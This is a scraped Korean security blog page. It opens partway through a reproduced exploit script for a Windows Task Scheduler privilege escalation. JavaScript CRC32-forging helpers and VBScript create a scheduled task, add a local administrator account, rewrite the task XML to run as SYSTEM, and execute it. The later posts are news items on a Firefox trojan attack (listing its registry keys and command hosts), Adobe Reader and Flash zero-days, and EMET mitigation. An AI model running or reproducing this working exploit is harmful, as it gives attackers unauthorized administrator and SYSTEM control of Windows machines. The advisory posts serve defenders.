            function dec2hex(d) {
            h='';
            for (i=0;i<8;i++) {
            h = hD.charAt(d&15)+h;
            d >>>= 4;
            }
            return h;
            }
            function encodeToHex(str){
                var r="";
                var e=str.length;
                var c=0;
                var h;
                while(c<e){
                    h=str.charCodeAt(c++).toString(16);
                    while(h.length<3) h="0"+h;
                    r+=h;
                }
                return r;
            }
            function decodeFromHex(str){
                var r="";
                var e=str.length;
                var s=0;
                while(e>1){
                     
                    r=r+String.fromCharCode("0x"+str.substring(s,s+2));
                     
                    s=s+2;
                    e=e-2;
                }
                 
                return r;
                 
            }
             
             
            function calc_crc(anyForm) {
             
            anyTextString=decodeFromHex(anyForm);
             
            Crc_value = 0xFFFFFFFF;
            StringLength=anyTextString.length;
            for (i=0; i<StringLength; i++) {
            tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
            Table_value = crc_table[tableIndex];
            Crc_value >>>= 8;
            Crc_value ^= Table_value;
            }
            Crc_value ^= 0xFFFFFFFF;
            return dec2hex(Crc_value);
             
            }
             
            function rev_crc(leadString,endString,crc32) {
            //
            // First, we calculate the CRC-32 for the initial string
            //
                anyTextString=decodeFromHex(leadString);
                 
               Crc_value = 0xFFFFFFFF;
               StringLength=anyTextString.length;
               //document.write(alert(StringLength));
               for (var i=0; i<StringLength; i++) {
                  tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
                  Table_value = crc_table[tableIndex];
                  Crc_value >>>= 8;
                  Crc_value ^= Table_value;
               }
            //
            // Second, we calculate the CRC-32 without the final string
            //
               crc=parseInt(crc32,16);
               crc ^= 0xFFFFFFFF;
               anyTextString=decodeFromHex(endString);
               StringLength=anyTextString.length;
               for (var i=0; i<StringLength; i++) {
                  tableIndex=0;
                  Table_value = crc_table[tableIndex];
                  while (((Table_value ^ crc) >>> 24)  & 0xFF) {
                     tableIndex++;
                     Table_value = crc_table[tableIndex];
                  }
                  crc ^= Table_value;
                  crc <<= 8;
                  crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);
               }
            //
            // Now let's find the 4-byte string
            //
               for (var i=0; i<4; i++) {
                  tableIndex=0;
                  Table_value = crc_table[tableIndex];
                  while (((Table_value ^ crc) >>> 24)  & 0xFF) {
                     tableIndex++;
                     Table_value = crc_table[tableIndex];
                  }
                  crc ^= Table_value;
                  crc <<= 8;
                  crc |= tableIndex;
               }
               crc ^= Crc_value;
            //
            // Finally, display the results
            //
               var TextString=dec2hex(crc);
               var Teststring='';
            Teststring=TextString.substring(6,8);
            Teststring+=TextString.substring(4,6);
            Teststring+=TextString.substring(2,4);
            Teststring+=TextString.substring(0,2);
               return Teststring
            }
            function decodeFromHex(str){
                var r="";
                var e=str.length;
                var s=0;
                while(e>1){
                     
                    r=r+String.fromCharCode("0x"+str.substring(s,s+2));
                     
                    s=s+2;
                    e=e-2;
                }
                 
                return r;
                 
            }
            </script>
             
             
             
            <script language="VBScript">
            dim output
            set output = wscript.stdout
            output.writeline " Task Scheduler 0 day - Privilege Escalation "
            output.writeline " Should work on Vista/Win7/2008 x86/x64"
            output.writeline " webDEViL - w3bd3vil [at] gmail [dot] com" & vbCr & vbLf
            biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"
            Set objShell = CreateObject("WScript.Shell")
            objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True
             
            Set fso = CreateObject("Scripting.FileSystemObject")
            Set a = fso.CreateTextFile(biatchFile, True)
            a.WriteLine ("net user /add test123 test123")
            a.WriteLine ("net localgroup administrators /add test123")
            a.WriteLine ("schtasks /delete /f /TN wDw00t")
             
            Function ReadByteArray(strFileName)
            Const adTypeBinary = 1
            Dim bin
                Set bin = CreateObject("ADODB.Stream")
                bin.Type = adTypeBinary
                bin.Open
                bin.LoadFromFile strFileName
                ReadByteArray = bin.Read
            'output.writeline ReadByteArray
            End Function
             
            Function OctetToHexStr (arrbytOctet)
             Dim k
             OctetToHexStr = ""
             For k = 3 To Lenb (arrbytOctet)
              OctetToHexStr = OctetToHexStr _
                    & Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)
             Next
             End Function
            strFileName="C:\windows\system32\tasks\wDw00t"
             
            hexXML = OctetToHexStr (ReadByteArray(strFileName))
            'output.writeline hexXML
            crc32 = calc_crc(hexXML)
            output.writeline "Crc32 Original: "+crc32
             
             
            Set xmlDoc = CreateObject("Microsoft.XMLDOM")
            'permissions workaround
            'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True
            'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True
            Set objShell = WScript.CreateObject("WScript.Shell")
            Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")
             
            Do Until objExecObject.StdOut.AtEndOfStream
             strLine = strLine & objExecObject.StdOut.ReadLine()
            Loop
            hexXML = "FFFE3C00"+OctetToHexStr(strLine)
            'output.writeline hexXML
            Set ts = fso.createtextfile ("wDw00t.xml")
            For n = 1 To (Len (hexXML) - 1) step 2
             ts.write Chr ("&h" & Mid (hexXML, n, 2))
            Next
            ts.close
             
            xmlDoc.load "wDw00t.xml"
            Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")
            Author.text = "LocalSystem"
            Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")
            UserId.text = "S-1-5-18"
            xmldoc.save(strFileName)
             
            hexXML = OctetToHexStr (ReadByteArray(strFileName))
             
            leadString=hexXML+"3C0021002D002D00"
            endString="2D002D003E00"
            'output.writeline leadString
            impbytes=rev_crc(leadString,endString,crc32)
            output.writeline "Crc32 Magic Bytes: "+impbytes
             
            finalString = leadString+impbytes+endString
            forge = calc_crc(finalString)
            output.writeline "Crc32 Forged: "+forge
             
            strHexString="FFFE"+finalString
            Set fso = CreateObject ("scripting.filesystemobject")
            Set stream = CreateObject ("adodb.stream")
             
            Set ts = fso.createtextfile (strFileName)
             
            For n = 1 To (Len (strHexString) - 1) step 2
             ts.write Chr ("&h" & Mid (strHexString, n, 2))
            Next
            ts.close
             
             
            Set objShell = CreateObject("WScript.Shell")
            objShell.Run "schtasks /change /TN wDw00t /disable",,True
            objShell.Run "schtasks /change /TN wDw00t /enable",,True
            objShell.Run "schtasks /run /TN wDw00t",,True
             
            </script>
            </job>

            출처: http://www.exploit-db.com/exploits/15589/

            감사합니다.

            저작자 표시
            신고
            reTweet
            Posted by 문스랩닷컴
            blog comments powered by Disqus
              보안 전문 기업인 Norman에서 근무하는 보안 전문가에 따르면 파이어폭스(Firefox) 브라우저의 취약점을 이용하여 트로이목마를 PC에 다운로드케하는 공격이 발견되었다고 합니다.

              이 공격은 노벨상 웹사이트의 해킹을 조사하는 과정에서 발견되었으며, 웹사이트의 해킹 뿐만 아니라 변조까지 이뤄진 것으로 알려졌습니다.

              이 취약점은 파이어폭스 v3.5와 v3.6 버전에서 발생하고 있으며 아직까지 구체적인 공격 대상이 밝혀지지는 않았습니다.

              취약점을 통해 공격이 성공적으로 이뤄지면, %WINDOWS%\temp 폴더에 symantec.exe 라는 이름의 트로이목마 설치 프로그램을 다운로드합니다.

              그리고, 윈도우 부팅시에 자동으로 시작되도록 아래 레지스트리에 경로를 등록합니다.

              * HKCU\Software\Microsoft\Windows\CurrentVersion\Run
              * HKLM\Software\Microsoft\Windows\CurrentVersion\Run

              설치가 완료되면 몇가지 의심스러운 동작을 수행하는데 다음과 같습니다.

              * nobel.usagov.mooo.com, update.microsoft.com 사이트에 HTTP(#80) 포트로 접속 시도
              * l-3com.dyndns-work.com, l-3com.dyndns.tv 에 접속을 시도

              하지만, 어떠한 연유로 microsoft.com에 접속하는지 아직 명확히 밝혀진 점은 없습니다.

              최근에 발생하는 보안 이슈들을 살펴 보면, 윈도우 운영체제 보다는 아도브(PDF), 자바와 같이 애플리케이션 단에서 발생하는 경우가 더 많습니다. Secunia의 PSI와 같은 보조 솔루션을 심각하게 검토해야 할 단계가 아닌지 모르겠습니다.

              Secunia의 PSI(Personal Software Inspector)
              http://moonslab.com/408

              출처: http://www.norman.com/security_center/virus_description_archive/129146/
              저작자 표시
              신고
              reTweet
              Posted by 문스랩닷컴
              blog comments powered by Disqus
                지난 9월 10일 경에 아도브 사가 개발하여 무료로 제공하는 리더 프로그램에서 제로데이 취약점이 발견되었으며, 실제로 이 공격 방식을 이용하는 사례가 매우 많이 발생하고 있습니다.

                하지만, 아도브 측에서는 아직까지 해결책이나 보안 패치를 제공하지 못하고 있으며 10월 4일 경에 보안 패치가 발표될 예정입니다. 이에 대한 사항은 아래 링크를 참고하십시오.



                그런데 외국의 RamzAfzar라는 모의 해킹 회사에서 제로데이 취약점에 대한 해결책을 제시하고 있어 소개합니다.

                이 취약점은 cooltype.dll 파일에서 strcat()함수에서 문자열의 길이와 매개변수를 제대로 검증 및 처리하지 못해서 발생하는 것으로 디버깅을 통해 알 수 있습니다.

                0803DDAB E8 483D1300 CALL JMP.&MSVCR80.strcat

                따라서, 이진 파일의 여유 부분에 strncat() 함수를 삽입하고 문자열을 검증하는 루틴을 추가하는 역어셈블링 기법을 통해 문제점을 해결했다고 주장하고 있습니다.

                이 파일은 아래 링크에서 다운로드하여 설치할 수 있습니다.

                주의: 본 패치는 비공식적인 것이므로, 해당 파일을 이용하여 문제가 발생할 가능성이 있스므로, 사용자가 전적으로 책임져야 합니다. 위 파일은 v9.3.4 버전용입니다.

                감사합니다.

                출처: http://www.rafzar.com/node/22
                저작자 표시
                신고
                reTweet
                Posted by 문스랩닷컴
                blog comments powered by Disqus
                  최근 아도브의 리더에서 제로데이 취약점이 발견되어 소개해 드린 적이 있습니다. 이에 대한 자세한 사항은 아래 링크를 참고하십시오.


                  지난 월요일 아도브에서는 플래시 플레이어에 제로데이 취약점이 발견되었으며, 실제로 공격이 이뤄지는 사례가 있다고 알려왔습니다. 이 취약점은 CVE-2010-2884로 명명되었습니다.

                  이 취약점은 아도브 플래시 플레이어 10.1.82.76 버전 및 하위 버전에서 발생하고 있으며, 윈도우 뿐만 아니라 맥, 리눅스, 솔라리스, 안드로이드까지 다양한 운영체제를 포함하고 있습니다.

                  또한 이 취약점은 아도브 리더의 최신버전 및 하위버전에 영향을 미치고 있으며, 윈도우, 맥 운영체제 제품에서도 존재합니다.

                  아도브는 9월 27일 경에 이 문제점을 해결하기 위한 패치를 제공할 예정이라고 합니다. 참고로, 아도브 리더에서 발생한 문제점은 10월 4일 패치 예정입니다.

                  취약점에 대한 자세한 사항은 아래 링크를 참고하십시오.



                  감사합니다.
                  저작자 표시
                  신고
                  reTweet
                  Posted by 문스랩닷컴
                  blog comments powered by Disqus

                    최근 아크로뱃 리더의 거듭된 제로데이 취약점으로 문제가 많이 발생하고 있습니다. 가장 최근에 발생한 뉴스는 아래 링크를 참고하십시오.

                    마이크로소프트는 아도브에서 개발하는 아크로뱃 및 리더 프로그램의 보안 취약점을 노린 제로데이 공격을 예방할 수 있는 툴킷을 발표했습니다.

                    지난 금요일에 마이크로소프트가 발표한 권고안에 따르면 EMET(Enhanced Mitigation Experience) 2.0이 이러한 위협을 차단할 수 있다고 하였으며, 아직까지 아도브에서는 별다른 언급을 하지 않고 있습니다.


                    권고안에 언급된 주요한 사항을 살펴보면 다음과 같으며, 보다 자세한 사항은 하단 부의 참고자료를 참조하십시오.

                    아도브 관련된 취약점을 예방하기 위해 EMET을 사용하기 위해서는 먼저 EMET을 설치해야 합니다. 단, 설치 시에는 관리자 권한이 필요합니다. 64비트 운영체제가 아닌 경우에는 아도브 리더와 아크로뱃은 설치 경로가 다를 수도 있으므로
                    주의해야 합니다.

                    C:\Program Files (x86)\EMET>emet_conf.exe --add "c:\program files (x86)\Adobe\Reader 9.0\Reader\acrord32.exe"

                    저장 후에는 프로그램을 재시작해야 할 경우도 있습니다.


                    참고자료


                    감사합니다.
                    저작자 표시
                    신고
                    reTweet
                    Posted by 문스랩닷컴
                    blog comments powered by Disqus


                      Web Analytics Blogs Directory